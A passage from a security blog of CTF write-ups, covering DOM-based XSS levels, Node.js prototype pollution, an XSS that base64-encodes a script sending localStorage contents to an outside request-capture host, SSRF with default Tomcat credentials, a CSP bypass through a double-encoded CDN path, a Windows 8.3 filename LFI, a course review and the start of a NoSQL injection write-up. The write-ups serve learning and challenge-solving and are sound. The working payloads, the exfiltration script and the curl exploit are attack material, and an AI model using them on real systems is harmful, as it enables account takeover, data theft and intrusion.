Solution: https://domgo.at/cxss/example/1?payload=%3Csvg/onload=alert(1)%3E&sp=x#12345

Here, the payload from the document.referrer is extracted and is written to the DOM using innerHTML. So you can visit the above URL first and then navigate to Example 2 link (payload param is set to actual XSS payload.)

Level 3:

let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;

Sink: innerHTML

Source: Ajax

Solution: <img src=xx onerror=alert(1)>

The response from the Ajax request (emulated with the user input) is parsed on the client side and is written directly to DOM with innerHTML.

Level 4:

let ws = new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {
    
    let rawMsg = evt.data;
    let msgJson = JSON.parse(rawMsg);
    let msg = "Welcome <b>" + msgJson.payload + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
};

Sink: innerHTML

Source: Web Sockets

Solution: <img src=xx onerror=alert(1)>

The web socket response (emulated with the user input) is parsed on the client side and is written directly to DOM with innerHTML.

Level 5:

window.onmessage = function (evt) {
    let msgObj = evt.data;
    let msg = "Welcome <b>" + msgObj.payload + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
};

Sink: innerHTML

Source: Post message

Solution: <img src=xx onerror=alert(1)>

The HTML5 post message data (emulated with the user input) is parsed and written directly to DOM with innerHTML.

Level 6:

let payloadValue = localStorage.getItem("payload", payload);
let msg = "Welcome " + payload + "!!";
document.getElementById("msgboard").innerHTML = msg;

Sink: innerHTML

Source: localStorage

Solution: <img src=xx onerror=alert(1)>

The localStorage data (emulated with the user input) is parsed and written directly to DOM with innerHTML.

Level 7:

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;

Sink: innerHTML

Source: location.hash

Solution: #'%20onmouseover=alert(1)//

The location.hash is written directly into href tag without sanitization and hence we can inject a single quote and break out of the attribtue context to inject our own event handlers.

Level 8:

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;

if (hashValueToUse.indexOf("=") > -1 ) {
    hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1);
    hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
    document.getElementById("msgboard").innerHTML = msg;
}

Sink: innerHTML

Source: location.hash

Solution: #='%20onmouseover=alert(1)//

A small difference between this and level 7 is that what ever comes after the first = character is written into the DOM as a part of href tag. Since we can’t inject new tags, we can use event handlers to solve the challenge.

Level 9:

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;

if (hashValueToUse.indexOf("=") > -1 ) {
    
    hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=") + 1);
    
    if (hashValueToUse.length > 1) {
        hashValueToUse = hashValueToUse.substr(0, 10);
        hashValueToUse = hashValueToUse.replace(/"/g, "&quot;");
        let windowValueToUse = window.name.replace(/"/g, "&quot;");
        let msg = "<a href=\"" + hashValueToUse + windowValueToUse + "\">Welcome</a>!!";
        document.getElementById("msgboard").innerHTML = msg;
    }
}

Sink: innerHTML

Source: window.name + location.hash

Solution:

<script>
var victim= window.open('https://domgo.at/cxss/example/9#user=javascript', ':alert(1)');
</script>

In this challenge, 2 values namely window.name and location.hash are combined (both can be attacker controlled) and is written to the DOM using innerHTML. In order to exploit this, we can host a custom HTML page with the above solution and visit it (which can control the window.name property and location.hash property together).

Level 10:

let urlParts = location.href.split("?");
if (urlParts.length > 1) {
    
    let queryString = urlParts[1];
    let queryParts = queryString.split("&");
    let userId = "";
    for (let i = 0; i < queryParts.length; i++) {
        
        let keyVal = queryParts[i].split("=");
        if (keyVal.length > 1) {
            if (keyVal[0] === "user") {
                
                userId = keyVal[1];
                break;
            }
        }
    }
    if (userId.startsWith("ID-")) {

        userId = userId.substr(3, 10);
        userId = userId.replace(/"/g, "&quot;");
        let windowValueToUse = window.name.replace(/"/g, "&quot;");
        let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!";
        document.getElementById("msgboard").innerHTML = msg;
    }
}

Sink: innerHTML

Source: window.name + user (GET parameter)

Solution:

<script>
var victim= window.open('https://domgo.at/cxss/example/10?lang=en&user=ID-javascript', ':alert(1)');
</script>

Here, the value of GET parameter user is extracted and written into the DOM along with the window.name property inside an href tag. Since we are dealing with URL context, we can inject javascript: URI just like the last challenge.

Note

If you have a better way of solving the challenge (may be without any user interaction ?), do comment below, let’s share and learn :)

Analysis and Exploitation of Prototype Pollution attacks on NodeJs - Nullcon HackIM CTF web 500 writeup

Fri, 15 Feb 2019 00:00:00 -0800

Introduction

Prototype Pollution attacks, as the name suggests, is about polluting the prototype of a base object which can sometimes lead to RCE. This is a fantastic research done by Olivier Arteau and has given a talk on NorthSec 2018. Let’s take a look at the vulnerability in-depth with an example from Nullcon HackIm 2019 challenge named proton:

Objects in javaScript

An object in the javaScript is nothing but a collection of key value pairs where each pair is known as a property. Let’s take an example to illustrate (you can use the browser console to execute and try it yourself):

var obj = {
    "name": "0daylabs",
    "website": "blog.0daylabs.com"
}

obj.name;     // prints "0daylabs"
obj.website; // prints "blog.0daylabs.com"

console.log(obj);  // prints the entire object along with all of its properties.

In the above example, name and website are the properties of the object obj. If you carefully look at the last statement, the console.log prints out a lot more information than the properties we explicitly defined. Where are these properties coming from ?

Object is the fundamental basic object upon which all other objects are created. We can create an empty object (without any properties) by passing the argument null during object creation, but by default it creates an object of a type that corresponds to its value and inherits all the properties to the newly created object (unless its null).

console.log(Object.create(null)); // prints an empty object

Functions/Classes in javaScript?

In javaScript, the concept of classes and functions are relative (functions itself serves as the constructor for the class and there is no explicit “classes” itself). Let’s take an example:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
    this.details = function() {
        return this.fullName + " has age: " + this.age;
    }
}

console.log(person.prototype); // prints the prototype property of the function

/*
{constructor: ƒ}
    constructor: ƒ person(fullName, age)
    __proto__: Object
*/

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

console.log(person1);

/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/

console.log(person2);

/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/

person1.details(); // prints "Anirudh has age: 25"

In the above example, we defined a function named person and we created 2 objects named person1 and person2. If we take a look at the properties of the newly created function and objects, we can note 2 things:

When a function is created, JavaScript engine includes a prototype property to the function. This prototype property is an object (called as prototype object) and has a constructor property by default which points back to the function on which prototype object is a property.
When an object is created, JavaScript engine adds a __proto__ property to the newly created object which points to the prototype object of the constructor function. In short, object.__proto__ is pointing to function.prototype.

WTH is a constructor ?

Constructor is a magical property which returns the function that used to create the object. The prototype object has a constructor which points to the function itself and the constructor of the constructor is the global function constructor.

var person3 = new person("test", 55);

person3.constructor;  // prints the function "person" itself 

person3.constructor.constructor; // prints ƒ Function() { [native code] }    <- Global Function constructor

person3.constructor.constructor("return 1");

/*
ƒ anonymous(
) {
return 1
}
*/

// Finally call the function
person3.constructor.constructor("return 1")();   // returns 1

Prototypes in javaScript

One of the things to note here is that the prototype property can be modified at run time to add/delete/edit entries. For example:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);

person.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }

console.log(person1.details()); // prints "Anirudh has age: 25"

What we did above is that we modified the function’s prototype to add a new property. The same result can be achieved using objects:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

// Using person1 object
person1.constructor.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }

console.log(person1.details()); // prints "Anirudh has age: 25"

console.log(person2.details()); // prints "Anand has age: 45" :O

Noticied anything suspicious? We modified person1 object but why person2 also got affected? The reason being that in the first example, we directly modified person.prototype to add a new property but in the 2nd example we did exactly the same but by using object. We have already seen that constructor returns the function using which the object is created so person1.constructor points to the function person itself and person1.constructor.prototype is the same as person.prototype.

Prototype Pollution

Let’s take an example, obj[a][b] = value. If an attacker can control a and value, then he can set the value of a to __proto__ and the property b will be defined for all existing objects of the application with the value value.

The attack is not as simple as it feels like from the above statement. According to the research paper, this is exploitable only if any of the following 3 happens:

Object recursive merge
Property definition by path
Object clone

Let’s take the Nullcon HackIM challenge to see a practical scenario. The challenge starts with iterating a MongoDB id (which was trivial to do) and we get access to the below source code:

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

The code starts with defining a function merge which is essentially an insecure design of merging 2 objects. Since the latest version of libraries that does the merge() has already been patched, the challenge delibrately used the old method in which merge used to happen to make it vulnerable.

One thing we can quickly notice in the above code is the definition of 2 “admins” as const admin and var аdmin. Ideally javaScript doesn’t allow to define a const variable again as var so this has to be different. It took a good amount of time to figure out that one of them has a normal a while the other has some other a (homograph). So instead of wasting time over it, I renamed it to normal a itself and worked on the challenge so that once solved, we can send the payload accordingly.

So from the challenge source code, here are the following observations:

Merge() function is written in a way that prototype pollution can happen (more analysis of the same later in the article). So that’s indeed the way to solve the problem.
The vulnerable function is actually called while hitting /signup via clone(body) so we can send our JSON payload while signing up which can add the admin property and immediately call /getFlag to get the flag.
As discussed above, we can use __proto__ (points to constructor.prototype) to create the admin property with value 1.

The simplest payload to do the same: {"__proto__": {"admin": 1}}

So the final payload to solve the problem (using curl since I was not able to send homograph via burp):

curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

Merge() - Why was it vulnerable?

One obvious question here is, what makes the merge() function vulnerable here? Here is how it works and what makes it vulnerable:

The function starts with iterating all properties that is present on the 2nd object b (since 2nd is given preference incase of same key-value pairs).
If the property exists on both first and second arguments and they are both of type Object, then it recusively starts to merge it.
Now if we can control the value of b[attr] to make attr as __proto__ and also if we can control the value inside the proto property in b, then while recursion, a[attr] at some point will actually point to prototype of the object a and we can successfully add a new property to all the objects.

Still confused ? Well I don’t blame, because it took sometime for me also to understand the concept. Let’s write some debug statements to figure out what is happening.

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    console.log(b); // prints { __proto__: { admin: 1 } }
    for (var attr in b) {
        console.log("Current attribute: " + attr); // prints Current attribute: __proto__        
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

Now let’s try sending the curl request mentioned above. What we can notice is that the object b now has the value: { __proto__: { admin: 1 } } where __proto__ is just a property name and is not actually pointing to function prototype. Now during the function merge(), for (var attr in b) iterates through every attribute where the first attribute name now is __proto__.

Since it’s always of type object, it starts to recursively call, this time as merge(a[__proto__], b[__proto__]). This essentially helped us in getting access to function prototype of a and add new properties which is defined in the proto property of b.

References

Exfiltrating remote localStorage data with XSS - Insomnihack teaser 2017 "The Great escape part 2" web 200 writeup

Sun, 22 Jan 2017 00:00:00 -0800

Introduction

After completing the first step of the challenge (Basically a forensics pcapc challenge), we got a link along with an email from inside the pcap.

Challenge Description

–===============5398474817237612449==

Content-Type: text/plain; charset=”us-ascii”

MIME-Version: 1.0

Content-Transfer-Encoding: 7bit

Hello GR-27,

I’m currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud >(https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch >to install my consciousness and have a real base of operations.

I’ll be checking this mail box every now and then if you have any information for me. I’m always interested in learning, so >if you have any good links, please send them over.

Rogue

Challenge link: https://ssc.teaser.insomnihack.ch/

The last sentence of the email was particulalry interesting as it says if you have any good links, please send them over, feels like XSS isn’t it ?

A quick nmap scan of the challenge site shows us that there is an SMTP service running on port 25 and we can literally send emails by simply connecting to it (no authentication) ! I tried to send a simple email along with a link to my VPS and it seems the service is automatically connecting back to it. cool ! So now we know how can we send an email to our user, lets try to find out some XSS shall we ?

If we visit the challenge link, we are greeted with a cloud storage site where we can register accounts, login and even upload files. But one strange thing I noticed is an api call to /api/user.php?action=getUser which returns the data {"status":"username"} which looks like a json response but one thing was quite interesting, the content type returned was text/html. Why would a json response has a content type text/html ? Time to inject javaScript in username ;)

Solution:

If we register a username lol<BODY ONLOAD=alert(1)>lol and after logging in, if we visit the api reponse, we could successfully execute javaScript on the context of the site. But the problem is, it was an XSS post authentication and is usually difficult to exploit but I couldn’t find an XSS on any other places so I guess we need to use this.

The problem uses session keys that includes a private key which is stored in our localStorage so that even before the file(which we are trying to upload) is send from the browser, its encrypted. So my guess was that the flag will be located within the localStorage of the bot visting our link.

So inshort this is what we should do to steal the contents of the localStorage:

Create an HTML file which initiates a POST request to the challenge login link with an already registered username that is vulnerable to XSS.
Submitting a post request to /api/user.php will redirect us to the /api/user.php?action=getUser which returns the username with XSS payload along with a content type ‘text/html’. Perfect !

So lets write the javascript which can help us steal the localStorage contents:

<script>
for(var i=0, len=localStorage.length; i<len; i++) {
var key = localStorage.key(i);
var value = localStorage[key];
var request = new XMLHttpRequest();
var url = 'https://requestb.in/qat9okqa?key=' + key + '&value=' + value;
request.open('GET', url, false);
request.send();
}
</script>

Ofcourse sending the highligted javascript just like that would mess up the payload as some characters are blocked, filtered or escaped. So the best way to send the data is to base64 encode it and then do a document.write(base64_decode(payload)).

So I created a new user with username lol<BODY ONLOAD=document.write(atob('BASE64 encoded payload'));>lol and then I created an html file on my server which simply submits this credentials to the challenge server which redirects the bot to the XSS vulnerable response and our payload will execute !

So I created an html file on my server with the following contents:

<html>
    <body>
    <form name="myForm" id="myForm" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="POST">
        <input name="action" value="login" />
        <input name="name" value="" />
        <input name="password" value="" />
        <input type="submit" value="Submit" />
    </form>

    <script>
    document.myForm.name.value = "lol<BODY ONLOAD=document.write(atob('PHNjcmlwdD4NCmZvcih2YXIgaT0wLCBsZW49bG9jYWxTdG9yYWdlLmxlbmd0aDsgaTxsZW47IGkrKykgew0KdmFyIGtleSA9IGxvY2FsU3RvcmFnZS5rZXkoaSk7DQp2YXIgdmFsdWUgPSBsb2NhbFN0b3JhZ2Vba2V5XTsNCnZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQp2YXIgdXJsID0gJ2h0dHBzOi8vcmVxdWVzdGIuaW4vcWF0OW9rcWE/a2V5PScgKyBrZXkgKyAnJnZhbHVlPScgKyB2YWx1ZTsNCnJlcXVlc3Qub3BlbignR0VUJywgdXJsLCBmYWxzZSk7DQpyZXF1ZXN0LnNlbmQoKTsNCn0NCjwvc2NyaXB0Pg=='));>lol";
    document.myForm.password.value = "lol";
    document.myForm.submit();
    </script>

    </body>
</html>

So everything we need is complete right now and one last thing we need to do is to steal the flag:

Connect to the port 25 where the smtp service is running, send an email along with the link to the above HTML file.
When the bot parses the HTML file, it automatically sends the login request to the /api/user.php with an already registered username (along with XSS payload) and a password.
It redirects the bot to /api/user.php?action=getUser which contains the username reflected along with the XSS payload and it executes on the context of the site.
The executed javascript will help us get the contents of the localStorage and helps us exfiltrate it using XMLHttpRequest().
The first value inside the localStorage is the flag that we need :)

References

Exploiting internal tomcat server with SSRF - Insomnihack teaser 2017 Web 50 writeup

Sun, 22 Jan 2017 00:00:00 -0800

Introduction

After a break I started participating in CTFs again (The new year resolution was to participate in every single CTFs this year, lets see.. :P) and this year’s first CTF was Insomnihack teaser. The CTF was overall good and I guess most of the teams enjoyed playing it. So here is the writeup of Web 50:

Challenge Description:

Normal, regular cats are so 2000 and late, I decided to buy this allegedly smart tomcat robot Now the damn thing has attacked me and flew away. I can’t even seem to track it down on the broken search interface… Can you help me ?

Search interface

We are given a search interface in which we can enter the co-ordinates (latitude and longitude) and it searches for the missing cat. I decided to see how the parameters are getting send using burp and the results were interesting !

There is a parameter named u with the following value http://localhost:8080/index.jsp?x=1&y=1 when we enter 1 for both search values. This looks quite interesting so the first thing that came to my mind was RFI (Remote File Inclusion). Althrough I tried several methods to get code execution via RFI, it all failed so I decided to check the question from a different angle.

The name of the challenge is smart tomcat so there has to be something related to tomcat. So I tried to access an invalid page in the server which responded me back with the tomcat standard error page with version number (7.0.68) but that didn’t really lead me anywhere.

Solution

The next best thing to check is sensitive directories within tomcat and a quick Googling told me there is a tomcat manager usually on /manager path on the server. So lets try visit the same with u=http://localhost:8080/manager but unfortunately it was protected with HTTP basic authentication and we are not given any credentials ! After all this is a 50 point problem so it had to have the default credentials isn’t it ?

So lets try logging in with the default tomcat credentials which is tomcat:tomcat but how do we send the credentials ? We don’t have direct access to the server (that is we can visit it only via the u parameter and a direct access to it over browser URL was blocked) but we do can send the HTTP basic credentials over the URL itself in a standard format.

So finally, when we send u=http://tomcat:tomcat@localhost:8080/manager/html it prints out the flag ! You can also do the same thing with curl: curl -d "u=http://tomcat:tomcat@localhost:8080/manager/html" http://smarttomcat.teaser.insomnihack.ch/

References

1) https://github.com/psmiraglia/ctf/blob/master/kevgir/001-tomcat.md

eLearnSecurity Practical Web Defense (eWDP) course review

Mon, 19 Sep 2016 00:00:00 -0700

Introduction

As a CTF-lover, I always like attacking web applications more than patching the vulnerabilities within it. But patching vulnerabilities correctly without affecting the functionality of the application is indeed an important skill, which is why I decided to take a look at the eLearnSecurity’s Practical Web Defense course.

The course is designed by Abraham Aranguren, who is the project leader of OWASP OWTF. Back in 2014 I was lucky enough to get selected for Google Summer of Code (GSoC) as a part of OWTF, which is when Abe (Abraham) gave me free access to the elite version of PWD course (Thanks Abe !). Initially I didn’t get much time to concentrate on the course but last 2 months (Yes, after 2 years), I got enough free time so I went back and looked into the course materials (which was absolutely awesome !).

Pre-requisites

The course starts from absolute basics so I think there is no need of any pre-requisites. If you know a bit of PHP (or created a basic website with PHP before), that is all is required to learn this course (provided you work hard during the course).

Course

The course starts with basic tool introductions (like ZAP, OWTF) and goes through a vareity of modules which essentially contains both exploiting and patching almost all basic web application vulnerabilities. There are 16 modules in total which convers almost everything in OWASP top 10. Each module has:

Slides: which explains all the theory needed to understand an attack and to patch it as well.
Videos: which are very eloborate and clearly explains every single lab exercises (some are upto 3 hours length and over 25 hours of video series !).
PDFs (Available only for elite version): You can download theory in PDF format, the study materials are now portable !
Labs: All modules have assosiative labs in which a completely vulnerable web application is given and our aim is to find vulnerabilities, exploit it and patch all the vulnerabilities without affecting the functionality of the application.

To be frank, labs are the awesome part of the course. In most of the other courses, we will simply learn to attack and exploit an applications but this is not complete learning. What about patching or defending the application from these vulnerabilities ? This is the part were eWDP has its uniqueness ! It not only teach you to find and exploit the vulnerabilities but also explains how to patch it according to different contexts (which is very important to learn and fun too ;) )!

Hera Labs:

Each module has its own Hera Lab which is where most of the learning happens. The video labs focus on finding out and patching most of the critical vulnerabilities but there are always extra miles which we are supposed to solve by ourselves (for the complete learning.) Note that solving extra miles is actually not necessary but it’s highly recommended because submitting the extra miles will give you additional points which can help you pass the final exam more easily.

Each lab comes with a lab module PDF which has complete intended solutions for all main exercieses (ofcourse extra miles is not included, we should try it ourselves) so that once solved, we can cross check our solution with the intended one (more learning !).

Exam

Exam has 2 parts:

Multiple Choice Questions (MCQ):

The first part has around 50 MCQs which are a bit tricky. You need to score a minimum of (75%) to go to the next level of exam. Make sure you start the exam only after you have gone through the course properly (including all videos and slides), otherwise you will waste your exam voucher (failing to get 75%, you have to buy a new exam voucher again to write the exam).
Practical exam:

This is much more interesting than the MCQs. Here you are given an intentionally vulnerable application which has a lot of vulnerabilities (yes a lot !). We are given 3 seperate directories namely vulnerable, fixed and virtually_patched each having the same application files initially. Our objectives are to:
1. Find and exploit all the vulnerabilities and demonstrate the POC using the vulnerable directory.
2. Patch all the vulnerabilities we exploited in the fixed (You have the permission to modify the code only on this directory) and make sure that vulnerabilities are patched in such a way that functionalitiy of the application remains untouched !
3. Write ModSecurity rules to patch all the vulnerabilities we found in the virtually_patched directory. Here you are not suppose to edit the vulnerable code but should patch all the vulnerabilities by writing ModSecurity rules to block them.

We have 14 days to complete the final exam and upload the files as a tar ball and then wait for the result. I had to wait for more than a month to get the result, but yeah the course was totally worth it.

Conclusion

As you have seen from the review, eWDP is a course with a difference. You are not only learning how to exploit the application but also learning to patch the vulnerabilities and block the attacks using ModSecurity (Virtual Patches) which can be considered as a more complete learning !

For people who want to take this course, if you are interested in learning the defensive side, then this course will really help you lay down your basics. Even as a pentester you need to know how to secure your web applications so that you can recommend secure coding practices to your clients to fix the vulnerabilities you found. So without a doubt, I would strongly recommend this course for people who really want to learn both sides of Web Apllication Pentesting :)

References

Bypassing path restriction on whitelisted CDNs to circumvent CSP protections - SECT CTF Web 400 writeup

Fri, 09 Sep 2016 00:00:00 -0700

Introduction

So it all started when I was casually browsing twitter and noticed a tweet from @avlidienbrunn:

Made some CTF challenges for @SEC_T_org CTF at https://t.co/wEwrgeLEic check it out if you have spare time :) #ctf #web #pwn
— Mathias Karlsson (@avlidienbrunn) September 8, 2016

Ok, so there is a CTF going on (which was not listed on CTFtime.org) and since avlidienbrunn created the web challenges, I decided to take a look because I was sure that the challenges would be really good. And it turns out that I was not mistaken. Indeed great challenges :)

Challenge:

I was able to solve some quick XSS challengs but then I came across a challenge which was vulnerable to Reflected XSS but is protected by CSP:

Challenge URL: http://xss3.sect.ctf.rocks/?xss=stuff

A quick injection revealed that there was no filter and whatever we inject is simply echoed back at the end of the response. But an XSS is not possible (as of now) because the CSP blocks it. The CSP header looks like this:

Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'; script-src https://cdnjs.cloudflare.com/ajax/libs/jquery/

So we can see that cdnjs is actually whitelisted CDN, which means we can load any files from that server. But this was not as easy as I thought it would be. If we could import outdated Angularjs from the server, we could use it to execute JavaScript but what is the use of importing jquery ? The main issues I faced here were:

1) Importing jquery was useless because we could import a vulnerable version of jquery from the server but what is the use if we cannot add our own jquery code into the DOM after this import ?

2) Since the URL in the CSP contains the path (/ajax/libs/jquery/), I didn’t know any possible way to load other files like Angularjs from the same server (which resides on /ajax/libs/angular.js/) which could have made our work much easier.

Solution:

Since loading jquery is useless, the only way is to somehow import outdated Angularjs from the server, so I started trying path traversal so that I can try loading from other directories. I literally fuzzed the application until it gave an interesting response. Typical injections like ../ and ..%2f didn’t work but, to my surprise, double encoding worked ! HELL YEAH !

So when we try to load <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fangular.js/1.0.8/angular.js"></script>, firefox loaded the old version of Angularjs properly for me ! I never knew that double encoding could bypass CSP protections on whitelisted CDN path !

Cool, so now we can load Angularjs and outdated versions of it can actually help us in bypassing the CSP with ng-onclick instead of javascript event handlers (Thanks to Mario Heiderich). So using this, I successfully created a payload which can execute alert(1) but with a minor problem. It actually needs a small user interaction i.e, a click from the user. But this will not be accepted as a solution because final payload should run without user interaction.

Payload: ?xss=<body class="ng-app"ng-csp ng-click=$event.view.alert(1337)><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fangular.js/1.0.8/angular.js"></script>

Now things became really difficult. So I decided to visit mario’s challenge again to see how people actually solved the challenge with payload without user interaction and one of them looked really cool:

"ng-app ng-csp>
<base href=//ajax.googleapis.com/ajax/libs/>
<script src=angularjs/1.0.1/angular.js></script>

<script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337

So if we can also load the prototype.js, we can use curry property along with the call() which returns us a window object and inturn use it to call our little alert(1) without any user interaction !

So here goes the final payload:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fprototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fangular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>

{{$on.curry.call().alert(1)}}

</div>

This was indeed a great challenge from @avlidienbrunn. I throughly enjoyed playing the CTF :)

References:

These are some of the awesome references you can use to learn more about similar challenges:

Shit, it’s CSP!

Abusing file inclusions using Windows 8.3 filename legacy shortcodes - MMACTF Rotten Uploader web 150 writeup

Tue, 06 Sep 2016 00:00:00 -0700

Introduction

Rotten Uploader was a good challenge but it took a good amount of time to solve it despite being as easy challenge (ofcourse its easy once you know how to do it :P). So here is the challenge description:

Find the secret file.

http://rup.chal.ctf.westerns.tokyo/

Hint1 (2016/09/04 16:31)

The files/directories on the DOCUMENT_ROOT are below four.
download.php
file_list.php
index.php
uploads(directory)
The number of files in the DOCUMENT_ROOT/uploads is 5. The directory have "index.html".
You don't need scan tools.

Challenge

We are presented with a site which can be used to download 3 files namely test.cpp, test.rb and test.c. The download happens through a file named download.php:

http://rup.chal.ctf.westerns.tokyo/download.php?f=test.cpp

The first thing that comes to our mind after seeing the URL is to test for Local File Inclusion (LFI) and indeed it was vulnerable to LFI ! So lets download the source code of download.php.

File: download.php

<?php

header("Content-Type: application/octet-stream");

if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled.

?>

and index.php.

File: index.php

<?php
/**
 *
 */
include('file_list.php');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0 Level 2//EN">
<html>
  <head>
    <title>Uploader</title>
  </head>
  <body>
    <h1>Simple Uploader</h1>
    <p>There are no upload features.</p>
    <h3>Files</h3>
    <table width="100%" border="1">
		  <tr>
			<th>#</th>
			<th>Filename</th>
			<th>Size</th>
			<th>Link</th>
		  </tr>
			  <?php foreach($files as $file): ?>
	<?php if($file[0]) continue; // visible flag ?>  
		  <tr>
			<td><?= $file[1]; ?></td>
			<td><?= $file[2]; ?></td>
			<td><?= $file[3]; ?> bytes</td>
			<td><a href="download.php?f=<?= $file[4]; ?>">Download</a></td>
		  </tr>
          <?php endforeach;?>
      </table>
  </body>
</html>

Till now we understood the following points:

1) The uploads/ directory has 5 files in which 4 are known to us. So the 5th file (whose name we don’t know yet) has to be the flag.

2) If we know the filename, we can download it via download.php. The only possible way to know the filename is to get the file_list.php which will contain the list of all files.

3) The string file_list has been blocked by an stripos() function check which is cannot be bypassed easily (as stripos() don’t have any known bypasses).

Solution:

It took a while to understand that the server is running windows. So the question arises, why do they configure the challenge on a windows machine while all others are on linux (Linux is usually prefered for web servers)? Then we came across a legacy windows feature called Windows 8.3 filename and that lead us to the bypass !

So computing the filename, we can use file_l~1.php so the file can be download by sending the following request:download.php?f=../file_l~1.php and this got us the source code of file_list.php

File: file_list.php

<?php
$files = [
  [FALSE, 1, 'test.cpp', 1135, 'test.cpp'],
  [FALSE, 2, 'test.c', 74, 'test.c'],
  [TRUE, 3, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7', 35, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7'],
  [FALSE, 4, 'test.rb', 1446, 'test.rb'],
];

So now we know the filename in which flag is present and hence we can download it using the LFI: download.php?f=flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7

References

1) Windows 8.3 filename

MongoDB - Extracting data (admin password) using NoSQL Injection - MMACTF 2016 Web 100 writeup

Mon, 05 Sep 2016 00:00:00 -0700

Introduction

MMACTF 2015 was indeed a great learning experience, so I made sure that I took part in it this year. Last year, there were some really great challenges like “Local File inclusion + File Upload = Remote Code execution” and “Executing php using script tags”. Both of them were real learning experience.

Challenge

So this year I started again, hoping that it would be fun just like the last year and fortunately it was ! So lets go ahead and solve web 100. We were given a login page and a sample account test:test to login. I tried logging in and it simply says “You are logged in as test”. Our aim is to login as admin. So the only possible injection place is the login page.

Challenge URL: http://gap.chal.ctf.westerns.tokyo/login.php

Obviously the first thing to try is SQL injection but after messing around with the login page for sometime, I understood it has nothing to do with SQL. The next attempt was to try NoSQL and then I got some very interesting result. From the initial injection, it seems the backend database is MongoDB and I decided to read a bit more about it.

In simple terms, MongoDB works like this:

Request: login.php?user=admin&password=1

$collection->find(array(
    "username" => "admin",
    "passwd" => "1"
));

Solution

The username and password is collected from the incoming data and the database is searched directly using this data. So what if we can pass objects or arrays ?

Request: login.php?user[$gt]=&password[$gt]=

$collection->find(array(
